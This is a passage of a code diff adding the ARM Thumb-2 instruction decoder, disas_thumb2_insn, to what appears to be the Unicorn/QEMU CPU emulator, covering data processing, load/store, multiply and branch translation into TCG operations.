0; + switch (op) { + case 0: /* and */ + tcg_gen_and_i32(tcg_ctx, t0, t0, t1); + logic_cc = conds; + break; + case 1: /* bic */ + tcg_gen_andc_i32(tcg_ctx, t0, t0, t1); + logic_cc = conds; + break; + case 2: /* orr */ + tcg_gen_or_i32(tcg_ctx, t0, t0, t1); + logic_cc = conds; + break; + case 3: /* orn */ + tcg_gen_orc_i32(tcg_ctx, t0, t0, t1); + logic_cc = conds; + break; + case 4: /* eor */ + tcg_gen_xor_i32(tcg_ctx, t0, t0, t1); + logic_cc = conds; + break; + case 8: /* add */ + if (conds) + gen_add_CC(s, t0, t0, t1); + else + tcg_gen_add_i32(tcg_ctx, t0, t0, t1); + break; + case 10: /* adc */ + if (conds) + gen_adc_CC(s, t0, t0, t1); + else + gen_adc(s, t0, t1); + break; + case 11: /* sbc */ + if (conds) { + gen_sbc_CC(s, t0, t0, t1); + } else { + gen_sub_carry(s, t0, t0, t1); + } + break; + case 13: /* sub */ + if (conds) + gen_sub_CC(s, t0, t0, t1); + else + tcg_gen_sub_i32(tcg_ctx, t0, t0, t1); + break; + case 14: /* rsb */ + if (conds) + gen_sub_CC(s, t0, t1, t0); + else + tcg_gen_sub_i32(tcg_ctx, t0, t1, t0); + break; + default: /* 5, 6, 7, 9, 12, 15. */ + return 1; + } + if (logic_cc) { + gen_logic_CC(s, t0); + if (shifter_out) + gen_set_CF_bit31(s, t1); + } + return 0; +} + +/* Translate a 32-bit thumb instruction. Returns nonzero if the instruction + is not legal. */ +static int disas_thumb2_insn(CPUARMState *env, DisasContext *s, uint16_t insn_hw1) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + uint32_t insn, imm, shift, offset; + uint32_t rd, rn, rm, rs; + TCGv_i32 tmp; + TCGv_i32 tmp2; + TCGv_i32 tmp3; + TCGv_i32 addr; + TCGv_i64 tmp64; + int op; + int shiftop; + int conds; + int logic_cc; + + if (!(arm_dc_feature(s, ARM_FEATURE_THUMB2) + || arm_dc_feature(s, ARM_FEATURE_M))) { + /* Thumb-1 cores may need to treat bl and blx as a pair of + 16-bit instructions to get correct prefetch abort behavior. */ + insn = insn_hw1; + if ((insn & (1 << 12)) == 0) { + ARCH(5); + /* Second half of blx. */ + offset = ((insn & 0x7ff) << 1); + tmp = load_reg(s, 14); + tcg_gen_addi_i32(tcg_ctx, tmp, tmp, offset); + tcg_gen_andi_i32(tcg_ctx, tmp, tmp, 0xfffffffc); + + tmp2 = tcg_temp_new_i32(tcg_ctx); + tcg_gen_movi_i32(tcg_ctx, tmp2, s->pc | 1); + store_reg(s, 14, tmp2); + gen_bx(s, tmp); + return 0; + } + if (insn & (1 << 11)) { + /* Second half of bl. */ + offset = ((insn & 0x7ff) << 1) | 1; + tmp = load_reg(s, 14); + tcg_gen_addi_i32(tcg_ctx, tmp, tmp, offset); + + tmp2 = tcg_temp_new_i32(tcg_ctx); + tcg_gen_movi_i32(tcg_ctx, tmp2, s->pc | 1); + store_reg(s, 14, tmp2); + gen_bx(s, tmp); + return 0; + } + if ((s->pc & ~TARGET_PAGE_MASK) == 0) { + /* Instruction spans a page boundary. Implement it as two + 16-bit instructions in case the second half causes an + prefetch abort. */ + offset = ((int32_t)insn << 21) >> 9; + tcg_gen_movi_i32(tcg_ctx, tcg_ctx->cpu_R[14], s->pc + 2 + offset); + return 0; + } + /* Fall through to 32-bit decode. */ + } + + insn = arm_lduw_code(env, s->pc, s->bswap_code); + s->pc += 2; + insn |= (uint32_t)insn_hw1 << 16; + + if ((insn & 0xf800e800) != 0xf000e800) { + ARCH(6T2); + } + + rn = (insn >> 16) & 0xf; + rs = (insn >> 12) & 0xf; + rd = (insn >> 8) & 0xf; + rm = insn & 0xf; + switch ((insn >> 25) & 0xf) { + case 0: case 1: case 2: case 3: + /* 16-bit instructions. Should never happen. */ + abort(); + case 4: + if (insn & (1 << 22)) { + /* Other load/store, table branch. */ + if (insn & 0x01200000) { + /* Load/store doubleword. */ + if (rn == 15) { + addr = tcg_temp_new_i32(tcg_ctx); + tcg_gen_movi_i32(tcg_ctx, addr, s->pc & ~3); + } else { + addr = load_reg(s, rn); + } + offset = (insn & 0xff) * 4; + if ((insn & (1 << 23)) == 0) + offset = 0-offset; + if (insn & (1 << 24)) { + tcg_gen_addi_i32(tcg_ctx, addr, addr, offset); + offset = 0; + } + if (insn & (1 << 20)) { + /* ldrd */ + tmp = tcg_temp_new_i32(tcg_ctx); + gen_aa32_ld32u(s, tmp, addr, get_mem_index(s)); + store_reg(s, rs, tmp); + tcg_gen_addi_i32(tcg_ctx, addr, addr, 4); + tmp = tcg_temp_new_i32(tcg_ctx); + gen_aa32_ld32u(s, tmp, addr, get_mem_index(s)); + store_reg(s, rd, tmp); + } else { + /* strd */ + tmp = load_reg(s, rs); + gen_aa32_st32(s, tmp, addr, get_mem_index(s)); + tcg_temp_free_i32(tcg_ctx, tmp); + tcg_gen_addi_i32(tcg_ctx, addr, addr, 4); + tmp = load_reg(s, rd); + gen_aa32_st32(s, tmp, addr, get_mem_index(s)); + tcg_temp_free_i32(tcg_ctx, tmp); + } + if (insn & (1 << 21)) { + /* Base writeback. */ + if (rn == 15) + goto illegal_op; + tcg_gen_addi_i32(tcg_ctx, addr, addr, offset - 4); + store_reg(s, rn, addr); + } else { + tcg_temp_free_i32(tcg_ctx, addr); + } + } else if ((insn & (1 << 23)) == 0) { + /* Load/store exclusive word. */ + addr = tcg_temp_local_new_i32(tcg_ctx); + load_reg_var(s, addr, rn); + tcg_gen_addi_i32(tcg_ctx, addr, addr, (insn & 0xff) << 2); + if (insn & (1 << 20)) { + gen_load_exclusive(s, rs, 15, addr, 2); + } else { + gen_store_exclusive(s, rd, rs, 15, addr, 2); + } + tcg_temp_free_i32(tcg_ctx, addr); + } else if ((insn & (7 << 5)) == 0) { + /* Table Branch. */ + if (rn == 15) { + addr = tcg_temp_new_i32(tcg_ctx); + tcg_gen_movi_i32(tcg_ctx, addr, s->pc); + } else { + addr = load_reg(s, rn); + } + tmp = load_reg(s, rm); + tcg_gen_add_i32(tcg_ctx, addr, addr, tmp); + if (insn & (1 << 4)) { + /* tbh */ + tcg_gen_add_i32(tcg_ctx, addr, addr, tmp); + tcg_temp_free_i32(tcg_ctx, tmp); + tmp = tcg_temp_new_i32(tcg_ctx); + gen_aa32_ld16u(s, tmp, addr, get_mem_index(s)); + } else { /* tbb */ + tcg_temp_free_i32(tcg_ctx, tmp); + tmp = tcg_temp_new_i32(tcg_ctx); + gen_aa32_ld8u(s, tmp, addr, get_mem_index(s)); + } + tcg_temp_free_i32(tcg_ctx, addr); + tcg_gen_shli_i32(tcg_ctx, tmp, tmp, 1); + tcg_gen_addi_i32(tcg_ctx, tmp, tmp, s->pc); + store_reg(s, 15, tmp); + } else { + int op2 = (insn >> 6) & 0x3; + op = (insn >> 4) & 0x3; + switch (op2) { + case 0: + goto illegal_op; + case 1: + /* Load/store exclusive byte/halfword/doubleword */ + if (op == 2) { + goto illegal_op; + } + ARCH(7); + break; + case 2: + /* Load-acquire/store-release */ + if (op == 3) { + goto illegal_op; + } + /* Fall through */ + case 3: + /* Load-acquire/store-release exclusive */ + ARCH(8); + break; + } + addr = tcg_temp_local_new_i32(tcg_ctx); + load_reg_var(s, addr, rn); + if (!(op2 & 1)) { + if (insn & (1 << 20)) { + tmp = tcg_temp_new_i32(tcg_ctx); + switch (op) { + case 0: /* ldab */ + gen_aa32_ld8u(s, tmp, addr, get_mem_index(s)); + break; + case 1: /* ldah */ + gen_aa32_ld16u(s, tmp, addr, get_mem_index(s)); + break; + case 2: /* lda */ + gen_aa32_ld32u(s, tmp, addr, get_mem_index(s)); + break; + default: + abort(); + } + store_reg(s, rs, tmp); + } else { + tmp = load_reg(s, rs); + switch (op) { + case 0: /* stlb */ + gen_aa32_st8(s, tmp, addr, get_mem_index(s)); + break; + case 1: /* stlh */ + gen_aa32_st16(s, tmp, addr, get_mem_index(s)); + break; + case 2: /* stl */ + gen_aa32_st32(s, tmp, addr, get_mem_index(s)); + break; + default: + abort(); + } + tcg_temp_free_i32(tcg_ctx, tmp); + } + } else if (insn & (1 << 20)) { + gen_load_exclusive(s, rs, rd, addr, op); + } else { + gen_store_exclusive(s, rm, rs, rd, addr, op); + } + tcg_temp_free_i32(tcg_ctx, addr); + } + } else { + /* Load/store multiple, RFE, SRS. */ + if (((insn >> 23) & 1) == ((insn >> 24) & 1)) { + /* RFE, SRS: not available in user mode or on M profile */ + if (IS_USER(s) || arm_dc_feature(s, ARM_FEATURE_M)) { + goto illegal_op; + } + if (insn & (1 << 20)) { + /* rfe */ + addr = load_reg(s, rn); + if ((insn & (1 << 24)) == 0) + tcg_gen_addi_i32(tcg_ctx, addr, addr, -8); + /* Load PC into tmp and CPSR into tmp2. */ + tmp = tcg_temp_new_i32(tcg_ctx); + gen_aa32_ld32u(s, tmp, addr, get_mem_index(s)); + tcg_gen_addi_i32(tcg_ctx, addr, addr, 4); + tmp2 = tcg_temp_new_i32(tcg_ctx); + gen_aa32_ld32u(s, tmp2, addr, get_mem_index(s)); + if (insn & (1 << 21)) { + /* Base writeback. */ + if (insn & (1 << 24)) { + tcg_gen_addi_i32(tcg_ctx, addr, addr, 4); + } else { + tcg_gen_addi_i32(tcg_ctx, addr, addr, -4); + } + store_reg(s, rn, addr); + } else { + tcg_temp_free_i32(tcg_ctx, addr); + } + gen_rfe(s, tmp, tmp2); + } else { + /* srs */ + gen_srs(s, (insn & 0x1f), (insn & (1 << 24)) ? 1 : 2, + insn & (1 << 21)); + } + } else { + int i, loaded_base = 0; + TCGv_i32 loaded_var; + /* Load/store multiple. */ + addr = load_reg(s, rn); + offset = 0; + for (i = 0; i < 16; i++) { + if (insn & (1 << i)) + offset += 4; + } + if (insn & (1 << 24)) { + tcg_gen_addi_i32(tcg_ctx, addr, addr, 0-offset); + } + + TCGV_UNUSED_I32(loaded_var); + for (i = 0; i < 16; i++) { + if ((insn & (1 << i)) == 0) + continue; + if (insn & (1 << 20)) { + /* Load. */ + tmp = tcg_temp_new_i32(tcg_ctx); + gen_aa32_ld32u(s, tmp, addr, get_mem_index(s)); + if (i == 15) { + gen_bx(s, tmp); + } else if (i == rn) { + loaded_var = tmp; + loaded_base = 1; + } else { + store_reg(s, i, tmp); + } + } else { + /* Store. */ + tmp = load_reg(s, i); + gen_aa32_st32(s, tmp, addr, get_mem_index(s)); + tcg_temp_free_i32(tcg_ctx, tmp); + } + tcg_gen_addi_i32(tcg_ctx, addr, addr, 4); + } + if (loaded_base) { + store_reg(s, rn, loaded_var); + } + if (insn & (1 << 21)) { + /* Base register writeback. */ + if (insn & (1 << 24)) { + tcg_gen_addi_i32(tcg_ctx, addr, addr, 0-offset); + } + /* Fault if writeback register is in register list. */ + if (insn & (1 << rn)) + goto illegal_op; + store_reg(s, rn, addr); + } else { + tcg_temp_free_i32(tcg_ctx, addr); + } + } + } + break; + case 5: + + op = (insn >> 21) & 0xf; + if (op == 6) { + /* Halfword pack. */ + tmp = load_reg(s, rn); + tmp2 = load_reg(s, rm); + shift = ((insn >> 10) & 0x1c) | ((insn >> 6) & 0x3); + if (insn & (1 << 5)) { + /* pkhtb */ + if (shift == 0) + shift = 31; + tcg_gen_sari_i32(tcg_ctx, tmp2, tmp2, shift); + tcg_gen_andi_i32(tcg_ctx, tmp, tmp, 0xffff0000); + tcg_gen_ext16u_i32(tcg_ctx, tmp2, tmp2); + } else { + /* pkhbt */ + if (shift) + tcg_gen_shli_i32(tcg_ctx, tmp2, tmp2, shift); + tcg_gen_ext16u_i32(tcg_ctx, tmp, tmp); + tcg_gen_andi_i32(tcg_ctx, tmp2, tmp2, 0xffff0000); + } + tcg_gen_or_i32(tcg_ctx, tmp, tmp, tmp2); + tcg_temp_free_i32(tcg_ctx, tmp2); + store_reg(s, rd, tmp); + } else { + /* Data processing register constant shift. */ + if (rn == 15) { + tmp = tcg_temp_new_i32(tcg_ctx); + tcg_gen_movi_i32(tcg_ctx, tmp, 0); + } else { + tmp = load_reg(s, rn); + } + tmp2 = load_reg(s, rm); + + shiftop = (insn >> 4) & 3; + shift = ((insn >> 6) & 3) | ((insn >> 10) & 0x1c); + conds = (insn & (1 << 20)) != 0; + logic_cc = (conds && thumb2_logic_op(op)); + gen_arm_shift_im(s, tmp2, shiftop, shift, logic_cc); + if (gen_thumb2_data_op(s, op, conds, 0, tmp, tmp2)) + goto illegal_op; + tcg_temp_free_i32(tcg_ctx, tmp2); + if (rd != 15) { + store_reg(s, rd, tmp); + } else { + tcg_temp_free_i32(tcg_ctx, tmp); + } + } + break; + case 13: /* Misc data processing. */ + op = ((insn >> 22) & 6) | ((insn >> 7) & 1); + if (op < 4 && (insn & 0xf000) != 0xf000) + goto illegal_op; + switch (op) { + case 0: /* Register controlled shift. */ + tmp = load_reg(s, rn); + tmp2 = load_reg(s, rm); + if ((insn & 0x70) != 0) + goto illegal_op; + op = (insn >> 21) & 3; + logic_cc = (insn & (1 << 20)) != 0; + gen_arm_shift_reg(s, tmp, op, tmp2, logic_cc); + if (logic_cc) + gen_logic_CC(s, tmp); + store_reg_bx(s, rd, tmp); + break; + case 1: /* Sign/zero extend. */ + tmp = load_reg(s, rm); + shift = (insn >> 4) & 3; + /* ??? In many cases it's not necessary to do a + rotate, a shift is sufficient. */ + if (shift != 0) + tcg_gen_rotri_i32(tcg_ctx, tmp, tmp, shift * 8); + op = (insn >> 20) & 7; + switch (op) { + case 0: gen_sxth(tmp); break; + case 1: gen_uxth(tmp); break; + case 2: gen_sxtb16(tmp); break; + case 3: gen_uxtb16(tmp); break; + case 4: gen_sxtb(tmp); break; + case 5: gen_uxtb(tmp); break; + default: goto illegal_op; + } + if (rn != 15) { + tmp2 = load_reg(s, rn); + if ((op >> 1) == 1) { + gen_add16(s, tmp, tmp2); + } else { + tcg_gen_add_i32(tcg_ctx, tmp, tmp, tmp2); + tcg_temp_free_i32(tcg_ctx, tmp2); + } + } + store_reg(s, rd, tmp); + break; + case 2: /* SIMD add/subtract. */ + op = (insn >> 20) & 7; + shift = (insn >> 4) & 7; + if ((op & 3) == 3 || (shift & 3) == 3) + goto illegal_op; + tmp = load_reg(s, rn); + tmp2 = load_reg(s, rm); + gen_thumb2_parallel_addsub(s, op, shift, tmp, tmp2); + tcg_temp_free_i32(tcg_ctx, tmp2); + store_reg(s, rd, tmp); + break; + case 3: /* Other data processing. */ + op = ((insn >> 17) & 0x38) | ((insn >> 4) & 7); + if (op < 4) { + /* Saturating add/subtract. */ + tmp = load_reg(s, rn); + tmp2 = load_reg(s, rm); + if (op & 1) + gen_helper_double_saturate(tcg_ctx, tmp, tcg_ctx->cpu_env, tmp); + if (op & 2) + gen_helper_sub_saturate(tcg_ctx, tmp, tcg_ctx->cpu_env, tmp2, tmp); + else + gen_helper_add_saturate(tcg_ctx, tmp, tcg_ctx->cpu_env, tmp, tmp2); + tcg_temp_free_i32(tcg_ctx, tmp2); + } else { + tmp = load_reg(s, rn); + switch (op) { + case 0x0a: /* rbit */ + gen_helper_rbit(tcg_ctx, tmp, tmp); + break; + case 0x08: /* rev */ + tcg_gen_bswap32_i32(tcg_ctx, tmp, tmp); + break; + case 0x09: /* rev16 */ + gen_rev16(s, tmp); + break; + case 0x0b: /* revsh */ + gen_revsh(s, tmp); + break; + case 0x10: /* sel */ + tmp2 = load_reg(s, rm); + tmp3 = tcg_temp_new_i32(tcg_ctx); + tcg_gen_ld_i32(tcg_ctx, tmp3, tcg_ctx->cpu_env, offsetof(CPUARMState, GE)); + gen_helper_sel_flags(tcg_ctx, tmp, tmp3, tmp, tmp2); + tcg_temp_free_i32(tcg_ctx, tmp3); + tcg_temp_free_i32(tcg_ctx, tmp2); + break; + case 0x18: /* clz */ + gen_helper_clz(tcg_ctx, tmp, tmp); + break; + case 0x20: + case 0x21: + case 0x22: + case 0x28: + case 0x29: + case 0x2a: + { + /* crc32/crc32c */ + uint32_t sz = op & 0x3; + uint32_t c = op & 0x8; + + if (!arm_dc_feature(s, ARM_FEATURE_CRC)) { + goto illegal_op; + } + + tmp2 = load_reg(s, rm); + if (sz == 0) { + tcg_gen_andi_i32(tcg_ctx, tmp2, tmp2, 0xff); + } else if (sz == 1) { + tcg_gen_andi_i32(tcg_ctx, tmp2, tmp2, 0xffff); + } + tmp3 = tcg_const_i32(tcg_ctx, 1 << sz); + if (c) { + gen_helper_crc32c(tcg_ctx, tmp, tmp, tmp2, tmp3); + } else { + gen_helper_crc32(tcg_ctx, tmp, tmp, tmp2, tmp3); + } + tcg_temp_free_i32(tcg_ctx, tmp2); + tcg_temp_free_i32(tcg_ctx, tmp3); + break; + } + default: + goto illegal_op; + } + } + store_reg(s, rd, tmp); + break; + case 4: case 5: /* 32-bit multiply. Sum of absolute differences. */ + op = (insn >> 4) & 0xf; + tmp = load_reg(s, rn); + tmp2 = load_reg(s, rm); + switch ((insn >> 20) & 7) { + case 0: /* 32 x 32 -> 32 */ + tcg_gen_mul_i32(tcg_ctx, tmp, tmp, tmp2); + tcg_temp_free_i32(tcg_ctx, tmp2); + if (rs != 15) { + tmp2 = load_reg(s, rs); + if (op) + tcg_gen_sub_i32(tcg_ctx, tmp, tmp2, tmp); + else + tcg_gen_add_i32(tcg_ctx, tmp, tmp, tmp2); + tcg_temp_free_i32(tcg_ctx, tmp2); + } + break; + case 1: /* 16 x 16 -> 32 */ + gen_mulxy(s, tmp, tmp2, op & 2, op & 1); + tcg_temp_free_i32(tcg_ctx, tmp2); + if (rs != 15) { + tmp2 = load_reg(s, rs); + gen_helper_add_setq(tcg_ctx, tmp, tcg_ctx->cpu_env, tmp, tmp2); + tcg_temp_free_i32(tcg_ctx, tmp2); + } + break; + case 2: /* Dual multiply add. */ + case 4: /* Dual multiply subtract. */ + if (op) + gen_swap_half(s, tmp2); + gen_smul_dual(s, tmp, tmp2); + if (insn & (1 << 22)) { + /* This subtraction cannot overflow. */ + tcg_gen_sub_i32(tcg_ctx, tmp, tmp, tmp2); + } else { + /* This addition cannot overflow 32 bits; + * however it may overflow considered as a signed + * operation, in which case we must set the Q flag. + */ + gen_helper_add_setq(tcg_ctx, tmp, tcg_ctx->cpu_env, tmp, tmp2); + } + tcg_temp_free_i32(tcg_ctx, tmp2); + if (rs != 15) + { + tmp2 = load_reg(s, rs); + gen_helper_add_setq(tcg_ctx, tmp, tcg_ctx->cpu_env, tmp, tmp2); + tcg_temp_free_i32(tcg_ctx, tmp2); + } + break; + case 3: /* 32 * 16 -> 32msb */ + if (op) + tcg_gen_sari_i32(tcg_ctx, tmp2, tmp2, 16); + else + gen_sxth(tmp2); + tmp64 = gen_muls_i64_i32(s, tmp, tmp2); + tcg_gen_shri_i64(tcg_ctx, tmp64, tmp64, 16); + tmp = tcg_temp_new_i32(tcg_ctx); + tcg_gen_trunc_i64_i32(tcg_ctx, tmp, tmp64); + tcg_temp_free_i64(tcg_ctx, tmp64); + if (rs != 15) + { + tmp2 = load_reg(s, rs); + gen_helper_add_setq(tcg_ctx, tmp, tcg_ctx->cpu_env, tmp, tmp2); + tcg_temp_free_i32(tcg_ctx, tmp2); + } + break; + case 5: case 6: /* 32 * 32 -> 32msb (SMMUL, SMMLA, SMMLS) */ + tmp64 = gen_muls_i64_i32(s, tmp, tmp2); + if (rs != 15) { + tmp = load_reg(s, rs); + if (insn & (1 << 20)) { + tmp64 = gen_addq_msw(s, tmp64, tmp); + } else { + tmp64 = gen_subq_msw(s, tmp64, tmp); + } + } + if (insn & (1 << 4)) { + tcg_gen_addi_i64(tcg_ctx, tmp64, tmp64, 0x80000000u); + } + tcg_gen_shri_i64(tcg_ctx, tmp64, tmp64, 32); + tmp = tcg_temp_new_i32(tcg_ctx); + tcg_gen_trunc_i64_i32(tcg_ctx, tmp, tmp64); + tcg_temp_free_i64(tcg_ctx, tmp64); + break; + case 7: /* Unsigned sum of absolute differences. */ + gen_helper_usad8(tcg_ctx, tmp, tmp, tmp2); + tcg_temp_free_i32(tcg_ctx, tmp2); + if (rs != 15) { + tmp2 = load_reg(s, rs); + tcg_gen_add_i32(tcg_ctx, tmp, tmp, tmp2); + tcg_temp_free_i32(tcg_ctx, tmp2); + } + break; + } + store_reg(s, rd, tmp); + break; + case 6: case 7: /* 64-bit multiply, Divide. */ + op = ((insn >> 4) & 0xf) | ((insn >> 16) & 0x70); + tmp = load_reg(s, rn); + tmp2 = load_reg(s, rm); + if ((op & 0x50) == 0x10) { + /* sdiv, udiv */ + if (!arm_dc_feature(s, ARM_FEATURE_THUMB_DIV)) { + goto illegal_op; + } + if (op & 0x20) + gen_helper_udiv(tcg_ctx, tmp, tmp, tmp2); + else + gen_helper_sdiv(tcg_ctx, tmp, tmp, tmp2); + tcg_temp_free_i32(tcg_ctx, tmp2); + store_reg(s, rd, tmp); + } else if ((op & 0xe) == 0xc) { + /* Dual multiply accumulate long. */ + if (op & 1) + gen_swap_half(s, tmp2); + gen_smul_dual(s, tmp, tmp2); + if (op & 0x10) { + tcg_gen_sub_i32(tcg_ctx, tmp, tmp, tmp2); + } else { + tcg_gen_add_i32(tcg_ctx, tmp, tmp, tmp2); + } + tcg_temp_free_i32(tcg_ctx, tmp2); + /* BUGFIX */ + tmp64 = tcg_temp_new_i64(tcg_ctx); + tcg_gen_ext_i32_i64(tcg_ctx, tmp64, tmp); + tcg_temp_free_i32(tcg_ctx, tmp); + gen_addq(s, tmp64, rs, rd); + gen_storeq_reg(s, rs, rd, tmp64); + tcg_temp_free_i64(tcg_ctx, tmp64); + } else { + if (op & 0x20) { + /* Unsigned 64-bit multiply */ + tmp64 = gen_mulu_i64_i32(s, tmp, tmp2); + } else { + if (op & 8) { + /* smlalxy */ + gen_mulxy(s, tmp, tmp2, op & 2, op & 1); + tcg_temp_free_i32(tcg_ctx, tmp2); + tmp64 = tcg_temp_new_i64(tcg_ctx); + tcg_gen_ext_i32_i64(tcg_ctx, tmp64, tmp); + tcg_temp_free_i32(tcg_ctx, tmp); + } else { + /* Signed 64-bit multiply */ + tmp64 = gen_muls_i64_i32(s, tmp, tmp2); + } + } + if (op & 4) { + /* umaal */ + gen_addq_lo(s, tmp64, rs); + gen_addq_lo(s, tmp64, rd); + } else if (op & 0x40) { + /* 64-bit accumulate. */ + gen_addq(s, tmp64, rs, rd); + } + gen_storeq_reg(s, rs, rd, tmp64); + tcg_temp_free_i64(tcg_ctx, tmp64); + } + break; + } + break; + case 6: case 7: case 14: case 15: + /* Coprocessor. */ + if (((insn >> 24) & 3) == 3) { + /* Translate into the equivalent ARM encoding. */ + insn = (insn & 0xe2ffffff) | ((insn & (1 << 28)) >> 4) | (1 << 28); + if (disas_neon_data_insn(s, insn)) { + goto illegal_op; + } + } else if (((insn >> 8) & 0xe) == 10) { + if (disas_vfp_insn(s, insn)) { + goto illegal_op; + } + } else { + if (insn & (1 << 28)) + goto illegal_op; + if (disas_coproc_insn(s, insn)) { + goto illegal_op; + } + } + break; + case 8: case 9: case 10: case 11: + if (insn & (1 << 15)) { + /* Branches, misc control. */ + if (insn & 0x5000) { + /* Unconditional branch. */ + /* signextend(hw1[10:0]) -> offset[:12]. */ + offset = ((int32_t)(insn << 5)) >> 9 & ~(int32_t)0xfff; + /* hw1[10:0] -> offset[11:1]. */ + offset |= (insn & 0x7ff) << 1; + /* (~hw2[13, 11] ^ offset[24]) -> offset[23,22] + offset[24:22] already have the same value because of the + sign extension above. */ + offset ^= ((~insn) & (1 << 13)) << 10; + offset ^= ((~insn) & (1 << 11)) << 11; + + if (insn & (1 << 14)) { + /* Branch and link. */ + tcg_gen_movi_i32(tcg_ctx, tcg_ctx->cpu_R[14], s->pc | 1); + } + + offset += s->pc; + if (insn & (1 << 12)) { + /* b/bl */ + gen_jmp(s, offset); + } else { + /* blx */ + offset &= ~(uint32_t)2; + /* thumb2 bx, no need to check */ + gen_bx_im(s, offset); + } + } else if (((insn >> 23) & 7) == 7) { + /* Misc control */ + if (insn & (1 << 13)) + goto illegal_op; + + if (insn & (1 << 26)) { + if (!(insn & (1 << 20))) { + /* Hypervisor call (v7) */ + int imm16 = extract32(insn, 16, 4) << 12 + | extract32(insn, 0, 12); + ARCH(7); + if (IS_USER(s)) { + goto illegal_op; + } + gen_hvc(s, imm16); + } else { + /* Secure monitor call (v6+) */ + ARCH(6K); + if (IS_USER(s)) { + goto illegal_op; + } + gen_smc(s); + } + } else { + op = (insn >> 20) & 7; + switch (op) { + case 0: /* msr cpsr. */ + if (arm_dc_feature(s, ARM_FEATURE_M)) { + tmp = load_reg(s, rn); + addr = tcg_const_i32(tcg_ctx, insn & 0xff); + gen_helper_v7m_msr(tcg_ctx, tcg_ctx->cpu_env, addr, tmp); + tcg_temp_free_i32(tcg_ctx, addr); + tcg_temp_free_i32(tcg_ctx, tmp); + gen_lookup_tb(s); + break; + } + /* fall through */ + case 1: /* msr spsr. */ + if (arm_dc_feature(s, ARM_FEATURE_M)) { + goto illegal_op; + } + tmp = load_reg(s, rn); + if (gen_set_psr(s, + msr_mask(s, (insn >> 8) & 0xf, op == 1), + op == 1, tmp)) + goto illegal_op; + break; + case 2: /* cps, nop-hint. */ + if (((insn >> 8) & 7) == 0) { + gen_nop_hint(s, insn & 0xff); + } + /* Implemented as NOP in user mode. */ + if (IS_USER(s)) + break; + offset = 0; + imm = 0; + if (insn & (1 << 10)) { + if (insn & (1 << 7)) + offset |= CPSR_A; + if (insn & (1 << 6)) + offset |= CPSR_I; + if (insn & (1 << 5)) + offset |= CPSR_F; + if (insn & (1 << 9)) + imm = CPSR_A | CPSR_I | CPSR_F; + } + if (insn & (1 << 8)) { + offset |= 0x1f; + imm |= (insn & 0x1f); + } + if (offset) { + gen_set_psr_im(s, offset, 0, imm); + } + break; + case 3: /* Special control operations. */ + ARCH(7); + op = (insn >> 4) & 0xf; + switch (op) { + case 2: /* clrex */ + gen_clrex(s); + break; + case 4: /* dsb */ + case 5: /* dmb */ + case 6: /* isb */ + /* These execute as NOPs. */ + break; + default: + goto illegal_op; + } + break; + case 4: /* bxj */ + /* Trivial implementation equivalent to bx. */ + tmp = load_reg(s, rn); + gen_bx(s, tmp); + break; + case 5: /* Exception return. */ + if (IS_USER(s)) { + goto illegal_op; + } + if (rn != 14 || rd != 15) { + goto illegal_op; + } + tmp = load_reg(s, rn); + tcg_gen_subi_i32(tcg_ctx, tmp, tmp, insn & 0xff); + gen_exception_return(s, tmp); + break; + case 6: /* mrs cpsr. */ + tmp = tcg_temp_new_i32(tcg_ctx); + if (arm_dc_feature(s, ARM_FEATURE_M)) { + addr = tcg_const_i32(tcg_ctx, insn & 0xff); + gen_helper_v7m_mrs(tcg_ctx, tmp, tcg_ctx->cpu_env, addr); + tcg_temp_free_i32(tcg_ctx, addr); + } else { + gen_helper_cpsr_read(tcg_ctx, tmp, tcg_ctx->cpu_env); + } + store_reg(s, rd, tmp); + break; + case 7: /* mrs spsr. */ + /* Not accessible in user mode. */ + if (IS_USER(s) || arm_dc_feature(s, ARM_FEATURE_M)) { + goto illegal_op; + } + tmp = load_cpu_field(s->uc, spsr); + store_reg(s, rd, tmp); + break; + } + } + } else { + /* Conditional branch. */ + op = (insn >> 22) & 0xf; + /* Generate a conditional jump to next instruction. */ + s->condlabel = gen_new_label(tcg_ctx); + arm_gen_test_cc(tcg_ctx, op ^ 1, s->condlabel); + s->condjmp = 1; + + /* offset[11:1] = insn[10:0] */ + offset = (insn & 0x7ff) << 1; + /* offset[17:12] = insn[21:16]. */ + offset |= (insn & 0x003f0000) >> 4; + /* offset[31:20] = insn[26]. */ + offset |= ((int32_t)((insn << 5) & 0x80000000)) >> 11; + /* offset[18] = insn[13]. */ + offset |= (insn & (1 << 13)) << 5; + /* offset[19] = insn[11]. */ + offset |= (insn & (1 << 11)) << 8; + + /* jump to the offset */ + gen_jmp(s, s->pc + offset); + } + } else { + /* Data processing immediate. */ + if (insn & (1 << 25)) { + if (insn & (1 << 24)) { + if (insn & (1 << 20)) + goto illegal_op; + /* Bitfield/Saturate. */ + op = (insn >> 21) & 7; + imm = insn & 0x1f; + shift = ((insn >> 6) & 3) | ((insn >> 10) & 0x1c); + if (rn == 15) { + tmp = tcg_temp_new_i32(tcg_ctx); + tcg_gen_movi_i32(tcg_ctx, tmp, 0); + } else { + tmp = load_reg(s, rn); + } + switch (op) { + case 2: /* Signed bitfield extract. */ + imm++; + if (shift + imm > 32) + goto illegal_op; + if (imm < 32) + gen_sbfx(s, tmp, shift, imm); + break; + case 6: /* Unsigned bitfield extract. */ + imm++; + if (shift + imm > 32) + goto illegal_op; + if (imm < 32) + gen_ubfx(s, tmp, shift, (1u << imm) - 1); + break; + case 3: /* Bitfield insert/clear. */ + if (imm < shift) + goto illegal_op; + imm = imm + 1 - shift; + if (imm != 32) { + tmp2 = load_reg(s, rd); + tcg_gen_deposit_i32(tcg_ctx, tmp, tmp2, tmp, shift, imm); + tcg_temp_free_i32(tcg_ctx, tmp2); + } + break; + case 7: + goto illegal_op; + default: /* Saturate. */ + if (shift) { + if (op & 1) + tcg_gen_sari_i32(tcg_ctx, tmp, tmp, shift); + else + tcg_gen_shli_i32(tcg_ctx, tmp, tmp, shift); + } + tmp2 = tcg_const_i32(tcg_ctx, imm); + if (op & 4) { + /* Unsigned. */ + if ((op & 1) && shift == 0) + gen_helper_usat16(tcg_ctx, tmp, tcg_ctx->cpu_env, tmp, tmp2); + else + gen_helper_usat(tcg_ctx, tmp, tcg_ctx->cpu_env, tmp, tmp2); + } else { + /* Signed. */ + if ((op & 1) && shift == 0) + gen_helper_ssat16(tcg_ctx, tmp, tcg_ctx->cpu_env, tmp, tmp2); + else + gen_helper_ssat(tcg_ctx, tmp, tcg_ctx->cpu_env, tmp, tmp2); + } + tcg_temp_free_i32(tcg_ctx, tmp2); + break; + } + store_reg(s, rd, 